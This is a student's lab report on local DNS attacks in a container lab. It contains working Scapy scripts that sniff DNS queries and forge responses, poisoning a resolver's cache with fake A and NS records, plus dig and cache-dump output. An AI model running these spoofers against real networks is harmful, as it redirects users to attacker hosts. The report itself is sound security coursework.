Local DNS Attack

57118224 邱龙

Testing the DNS Setup

Get the IP address of ns.attacker32.com

测试 DNS 配置是否正确，首先使用 dig 命令查询 ns.attacker32.com 的地址：

```
root@f25b3fb3c335:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18948
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: cb46be5e0c27d54a0100000060f4c9efa56b12ccb339fa2c (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153
```

记录显示域名指向的 ip 地址为 10.9.0.153。查看攻击者域名服务器上的设置文件：

```
 9 @       IN      NS    ns.attacker32.com.
10
11 @       IN      A     10.9.0.180
12 www     IN      A     10.9.0.180
13 ns      IN      A     10.9.0.153
14 *       IN      A     10.9.0.100
```

发现记录中的 ip 地址与文件中一致，说明设置没有问题。

Get the IP address of www.example.com

执行 dig www.example.com 命令，输出结果如下：

```
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 1564 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
```

执行 dig @ns.attacker32.com www.example.com 命令，输出结果如下：

```
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 4 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
```

可见两个命令得到的 ip 地址不同，第一个命令直接从官方域名服务器获取信息，而第二个是从攻击者得到了假的结果，我们本次实验的目的就是让用户执行第一个命令即从官方域名服务器获取信息时依旧得到假的结果。

Task 1: Directly Spoofing Response to User

task1 的目的是捕获用户发出的 DNS 请求，然后返回一个假的 DNS 响应，只要伪造的 DNS 响应在真的 DNS 响应到达用户主机前到达，用户就会接受伪造信息。首先我们在攻击主机上查看 10.9.0.0/24 网段的端口名称，补充代码时会用到：

```
root@VM:/volumes# ifconfig
br-0f0dbeae3d70: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.1  netmask 255.255.255.0  broadcast 10.9.0.255
        inet6 fe80::42:33ff:fe68:5883  prefixlen 64  scopeid 0x20<link>
        ether 02:42:33:68:58:83  txqueuelen 0  (Ethernet)
        RX packets 18  bytes 828 (828.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 41  bytes 5582 (5.5 KB)
```

代码如下：

```
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
   if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):
      IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
      UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
      Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                     ttl=259200, rdata='10.0.2.5')
      # Construct the DNS packet
      DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                     qdcount=1, ancount=1, nscount=0, arcount=0,an=Anssec)
      spoofpkt = IPpkt/UDPpkt/DNSpkt
      send(spoofpkt)

f = 'udp and src host 10.9.0.5 and dst port 53'
pkt = sniff(iface='br-0f0dbeae3d70', filter=f, prn=spoof_dns)
```

代码中我们设置过滤器，只捕获源 ip 地址为用户主机，目的端口为 53 的 udp 报文，即用户发送给域名服务器的 DNS 请求。我们将源 IP 地址和目的 ip 地址、源端口和目的端口反过来，然后构造 DNS 包，就成了 DNS 响应报文，将其发送给用户主机，用户就会接受我们伪造的 DNS 信息。

由于容器存在的一些问题，为防止真正的 DNS 响应比我们伪造的 DNS 响应先到达用户，我们在路由器上增加输出网络流量的延迟，连接外部网络的端口为 eth0，所以我们增加 eth0 端口上的网络延迟：

```
root@372b4d28a05c:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.8.0.11  netmask 255.255.255.0  broadcast 10.8.0.255
        ether 02:42:0a:08:00:0b  txqueuelen 0  (Ethernet)
root@372b4d28a05c:/# tc qdisc add dev eth0 root netem delay 100ms
root@372b4d28a05c:/# tc qdisc show dev eth0
qdisc netem 8002: root refcnt 2 limit 1000 delay 100.0ms
```

攻击前用户查询 www.example.com 的 DNS 信息：

```
root@f25b3fb3c335:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15903
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: b2fbf2bf39b87f1e0100000060f543076566c79911e50447 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 3536 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 09:16:55 UTC 2021
```

在本地域名服务器上清除缓存（每次攻击前都要清除缓存，后面不再说明）：

```
root@4ffe90b2b9e3:/var/cache/bind# rndc flush
root@4ffe90b2b9e3:/var/cache/bind#
```

执行攻击程序，攻击时查询到的 DNS 信息：

```
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       10.0.2.5

;; Query time: 60 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 09:17:15 UTC 2021
```

关闭攻击程序后，再次 dig www.example.com,输出部分结果如下：

```
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86382   IN      A       93.184.216.34

;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 09:17:38 UTC 2021
```

可以发现攻击后 example.com 指向的 ip 地址发生了变化，变成了攻击者伪造的 ip 地址，攻击成功。但是停止攻击后再次执行 dig 命令发现 ip 又恢复了。

Task 2: DNS Cache Poisoning Attack – Spoofing Answers

为了达到持久的效果，每次用户的机器发出对 www.example.com 的 DNS 查询时，攻击者的机器都必须发出欺骗的 DNS 响应，效率不高。因此在 task2 中我们不对用户发送伪造 DNS 响应，而是伪造其他域名服务器发送给本地域名服务器的 DNS 响应，这样伪造的信息将会在本地服务器的缓存中保存一段时间，使得攻击者只要发送一次伪造响应，在缓存信息过期之前都有攻击效果。

与 task1 的代码类似，我们只需更改过滤器，原本为捕获用户发往本地域名服务器的udp报文,现在为捕获本地域名服务器发往其他域名服务器的udp报文。代码如下：

```
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
   if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):

      IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
      UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
      Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                     ttl=259200, rdata='10.0.2.5')
      # Construct the DNS packet
      DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                     qdcount=1, ancount=1, nscount=0, arcount=0,an=Anssec)
      spoofpkt = IPpkt/UDPpkt/DNSpkt
      send(spoofpkt)
f = 'udp and dst port 53'
pkt = sniff(iface='br-0f0dbeae3d70', filter=f, prn=spoof_dns)
```

代码中我一开始过滤设置 f = 'udp and src host 10.9.0.53 and dst port 53'，也可以实现目的，而且这样不会捕获本地域名服务器发送给其他域名服务器的报文，只会捕获用户主机发送给本地域名服务器的报文，相比 f = 'udp and dst port 53'本应该更好。但是在后面的实验内容中发现如果令 f = 'udp and src host 10.9.0.53 and dst port 53'，查询的 DNS 信息中权威字段内容和附加字段内容有时候不会输出。所以这里我们还是设置过滤为：f = 'udp and dst port 53'。

执行攻击时输出如下：

```
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       10.0.2.5

;; Query time: 556 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 09:20:12 UTC 2021
```

停止攻击后输出如下:

```
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259141  IN      A       10.0.2.5

;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 09:21:11 UTC 2021
```

可以发现现在执行一次攻击后依旧能维持攻击效果。

查看本地域名服务器的缓存可以看到伪造的 DNS 信息已经储存在缓存中了。

```
root@4ffe90b2b9e3:/var/cache/bind# rndc dumpdb -cache
root@4ffe90b2b9e3:/var/cache/bind# cat /var/cache/bind/dump.db |grep example
_.example.com.          863922  A       10.0.2.5
www.example.com.        863922  A       10.0.2.5
```

说明 DNS 缓存中毒攻击成功。

Task 3: Spoofing NS Records

在前面的任务中，我们的 DNS 缓存中毒攻击只影响一个主机名，即 www.example.com。如果用户试图获得另一个主机名的 IP 地址，例如 mail.example.com，我们需要再次发起攻击。为提高效率，一次攻击可以影响整个域，我们增加一条 NS 记录，当其保存在缓存中时，ns.attacker32.com 将被用作名称服务器，以便将来查询 example.com 域中的任何主机名。

代码如下：

```
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
   if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):

      IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
      UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
      Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                     ttl=259200, rdata='10.0.2.5')
      NSsec1=DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='ns.attacker32.com')
      # Construct the DNS packet
      DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                     qdcount=1, ancount=1, nscount=1, arcount=0,an=Anssec,ns=NSsec1)
      spoofpkt = IPpkt/UDPpkt/DNSpkt
      send(spoofpkt)

f = 'udp and dst port 53'
pkt = sniff(iface='br-0f0dbeae3d70', filter=f, prn=spoof_dns)
```

代码中增加了一条 NS 记录内容，nscount=1，让 example.net 域名下的地址都指向 ns.attacker32.com 域名。

执行程序，查询 example.com 的信息，结果如下:

```
root@f25b3fb3c335:/# dig example.com

; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44379
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;example.com.                   IN      A

;; ANSWER SECTION:
example.com.            259200  IN      A       10.0.2.5

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.

;; Query time: 60 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 10:21:11 UTC 2021
```

发现该地址指向 ns.attacker32.com 域名。

然后我们停止攻击程序，查询同一域名不同主机名的信息，这里我们查询 qiulong.example.com 的 DNS 信息：

```
root@f25b3fb3c335:/# dig qiulong.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> qiulong.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27662
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 6e97bdd53dff50390100000060f552789c98ab61d6d25848 (good)
;; QUESTION SECTION:
;qiulong.example.com.           IN      A

;; ANSWER SECTION:
qiulong.example.com.    259200  IN      A       1.2.3.6

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 10:22:48 UTC 2021
```

发现该地址指向 1.2.3.6。与 zone_example.com 文件中一致，如下：

```
 9 @       IN      NS    ns.attacker32.com.
10
11 @       IN      A     1.2.3.4
12 www     IN      A     1.2.3.5
13 ns      IN      A     10.9.0.153
14 *       IN      A     1.2.3.6
```

说明该地址是攻击者伪造的内容。

查看缓存：

```
root@4ffe90b2b9e3:/var/cache/bind# rndc dumpdb -cache
root@4ffe90b2b9e3:/var/cache/bind# cat /var/cache/bind/dump.db |grep example
example.com.            863948  NS      ns.attacker32.com.
qiulong.example.com.    863975  A       1.2.3.6
```

发现 NS 记录也在缓存中，说明攻击成功。

Task 4: Spoofing NS Records for Another Domain

与 task3 类似，增加一条 NS 记录，故 nscount=2，让 google.com 域名下的地址都指向 ns.attacker32.com 域名，代码如下：

```
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
   if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):

      IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
      UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
      Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                     ttl=259200, rdata='10.0.2.5')
      NSsec1 = DNSRR(rrname='example.com', type='NS',ttl=259200, rdata='ns.attacker32.com')
      NSsec2 = DNSRR(rrname='google.com', type='NS',ttl=259200, rdata0='ns.attacker32.com')
      # Construct the DNS packet
      DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                     qdcount=1, ancount=1, nscount=2, arcount=0,an=Anssec,ns=NSsec1/NSsec2)
      spoofpkt = IPpkt/UDPpkt/DNSpkt
      send(spoofpkt)

f = 'udp and dst port 53'
pkt = sniff(iface='br-0f0dbeae3d70', filter=f, prn=spoof_dns)
```

执行程序，查询 example.com：

```
root@f25b3fb3c335:/# dig example.com

; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28640
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 0

;; QUESTION SECTION:
;example.com.                   IN      A

;; ANSWER SECTION:
example.com.            259200  IN      A       10.0.2.5

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.
google.com.             259200  IN      NS      ns.attacker32.com.

;; Query time: 60 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 10:31:23 UTC 2021
```

发现增加了一条权威字段记录。查看缓存：

```
root@4ffe90b2b9e3:/var/cache/bind# rndc dumpdb -cache
root@4ffe90b2b9e3:/var/cache/bind# cat /var/cache/bind/dump.db |grep -e google -
e example
example.com.            863993  NS      ns.attacker32.com.
```

发现缓存中只有 example.com 的 NS 记录，但是我们代码中是设置了两条 NS 记录的：

```
NSsec1 = DNSRR(rrname='example.com', type='NS',ttl=259200, rdata='ns.attacker32.com')
NSsec2 = DNSRR(rrname='google.com', type='NS',ttl=259200, rdata='ns.attacker32.com')
```

把代码中这两条换下顺序，如下图：

```
NSsec1 = DNSRR(rrname='google.com', type='NS',ttl=259200, rdata='ns.attacker32.com')
NSsec2 = DNSRR(rrname='example.com', type='NS',ttl=259200, rdata='ns.attacker32.com')
# Construct the DNS packet
```

然后再次执行 dig example.com 命令，发现还是只有一条 NS 记录，但是这次换成另一条 NS 记录了：

```
root@4ffe90b2b9e3:/var/cache/bind# rndc flush
root@4ffe90b2b9e3:/var/cache/bind# rndc dumpdb -cache
root@4ffe90b2b9e3:/var/cache/bind# cat /var/cache/bind/dump.db |grep -e google -
e example
example.com.            863994  A       10.0.2.5
google.com.             863994  NS      ns.attacker32.com.
```

所以推测缓存可能只会保存一条权威字段的 NS 记录，而且保存是排在前面的那条记录即 NSsec1。

Task 5: Spoofing Records in the Additional Section

代码中添加三条附加字段的内容，arcount=3，代码如下：

```
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
  if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):

    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                   ttl=259200, rdata='10.0.2.5')
    NSsec1 = DNSRR(rrname='example.com', type='NS',ttl=259200, rdata='ns.attacker32.com')
    NSsec2 = DNSRR(rrname='example.com', type='NS',ttl=259200, rdata='ns.example.com')
    Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',ttl=259200, rdata='1.2.3.4')
    Addsec2 = DNSRR(rrname='ns.example.com', type='A',ttl=259200, rdata='5.6.7.8')
    Addsec3 = DNSRR(rrname='www.facebook.com', type='A',ttl=259200, rdata='3.4.5.6')
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
qdcount=1,ancount=1,nscount=2,arcount=3,an=Anssec,ns=NSsec1/NSsec2,ar=Addsec1/Addsec2/
Addsec3)
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)
f = 'udp and dst port 53'
pkt = sniff(iface='br-0f0dbeae3d70', filter=f, prn=spoof_dns)
```

执行程序，dig 输出如下：

```
root@f25b3fb3c335:/# dig example.com

; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23377
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

;; QUESTION SECTION:
;example.com.                   IN      A

;; ANSWER SECTION:
example.com.            259200  IN      A       10.0.2.5

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.
example.com.            259200  IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.attacker32.com.      259200  IN      A       1.2.3.4
ns.example.com.         259200  IN      A       5.6.7.8
www.facebook.com.       259200  IN      A       3.4.5.6

;; Query time: 68 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 12:47:53 UTC 2021
;; MSG SIZE  rcvd: 232
```

查看缓存如下：

```
root@4ffe90b2b9e3:/var/cache/bind# rndc dumpdb -cache
root@4ffe90b2b9e3:/var/cache/bind# cat /var/cache/bind/dump.db |grep -e attacker
 -e example -e facebook
ns.attacker32.com.      863920  A       1.2.3.4
example.com.            863920  NS      ns.example.com.
                        863920  NS      ns.attacker32.com.
ns.example.com.         863920  A       5.6.7.8
```

发现在缓存中，只有 attack32.com 和 ns.example.net 的缓存，而 www.facebook.com 的记录不会被缓存，这是由于附加字段 additional 中的记录只有与权威字段 authority 中条目相关，才会将其存入到 dns 的缓存中。